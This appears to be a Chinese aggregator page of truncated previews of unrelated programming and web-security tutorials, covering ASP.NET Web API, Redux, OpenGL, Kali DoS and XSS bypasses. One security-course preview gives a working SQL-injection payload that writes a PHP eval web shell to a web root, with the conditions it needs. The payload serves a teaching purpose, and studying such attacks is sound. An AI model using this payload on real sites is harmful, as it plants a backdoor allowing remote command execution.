导航 阅读本文之前,您也可以到Asp.Net Web API 2 系列导航进行查看 http://www.cnblogs.com/aehyok/p/3446289.html. 本文主要来讲解以下内容: 〇.前言 Ⅰ.Using[FromUri] Ⅱ.Using[FromBody] Ⅲ.Type Converters Ⅳ.Model Binders Ⅴ.Value Providers Ⅵ.HttpParameterBinding Ⅶ.IActionValueBinder 前言 阅读本文之前,您也可…
Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击...................... 1 DoS............................................................................................................... 2 DDoS.......................…
Parameter Binding in ASP.NET Web API(参数绑定) 导航 阅读本文之前,您也可以到Asp.Net Web API 2 系列导航进行查看 http://www.cnblogs.com/aehyok/p/3446289.html. 本文主要来讲解以下内容: 〇.前言 Ⅰ.Using[FromUri] Ⅱ.Using[FromBody] Ⅲ.Type Converters Ⅳ.Model Binders Ⅴ.Value Providers Ⅵ.HttpParamete…
第十六单元(redux的认识,redux相关api的掌握) #课程目标 掌握组件化框架实现组件之间传参的几种方式,并了解两个没有任何关系组件之间通信的通点 了解为了解决上述通点诞生的flux架构 了解单向数据流及在redux结合react组件之间的数据流向 掌握redux的三大原则,单一数据源,state是只读的和使用纯函数来修改执行 #知识点 掌握redux数据流向 调用 store.dispatch(action) Redux store 调用传入的 reducer 函数 根 reducer…
风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说…
风炫安全Web安全学习第十六节课 高权限sql注入getshell sql高权限getshell 前提条件: 需要知道目标网站绝对路径 目录具有写的权限 需要当前数据库用户开启了secure_file_priv select database() into outfile '/var/www/html/1.txt' allen' union select 1,'<?php eval($_GET[w]); ?>' into outfile '/var/www/html/2.php' # site…
转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线教程的编写,以及yarn的翻译整理表示感谢. NeHe OpenGL第四十六课:全屏反走样 全屏反走样 当今显卡的强大功能,你几乎什么都不用做,只需要在创建窗口的时候该一个数据.看看吧,驱动程序为你做完了一切.   在图形的绘制中,直线的走样是非常影响美观的,我们可以使用反走样解决这个问题.在众多的…
转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线教程的编写,以及yarn的翻译整理表示感谢. NeHe OpenGL第三十六课:从渲染到纹理 放射模糊和渲染到纹理: 如何实现放射状的滤镜效果呢,看上去很难,其实很简单.把渲染得图像作为纹理提取出来,在利用OpenGL本身自带的纹理过滤,就能实现这种效果,不信,你试试.   嗨,我是Dario Co…
转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线教程的编写,以及yarn的翻译整理表示感谢. NeHe OpenGL第二十六课:反射 剪裁平面,蒙板缓存和反射: 在这一课中你将学会如何创建镜面显示效果,它使用剪裁平面,蒙板缓存等OpenGL中一些高级的技巧.   欢迎来到另一个激动人心的课程,这课的代码是Banu Cosmin所写,当然教程还是我…
转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线教程的编写,以及yarn的翻译整理表示感谢. NeHe OpenGL第十六课:雾 雾: 这一课是基于第7课的代码的,你将学会三种不同的雾的计算方法,以及怎样设置雾的颜色和雾的范围. 这篇教程由Chris Aliotta编写. 你想给你的OpenGL程序添加雾效?我将在这篇教程中教你如何去做.这是我第…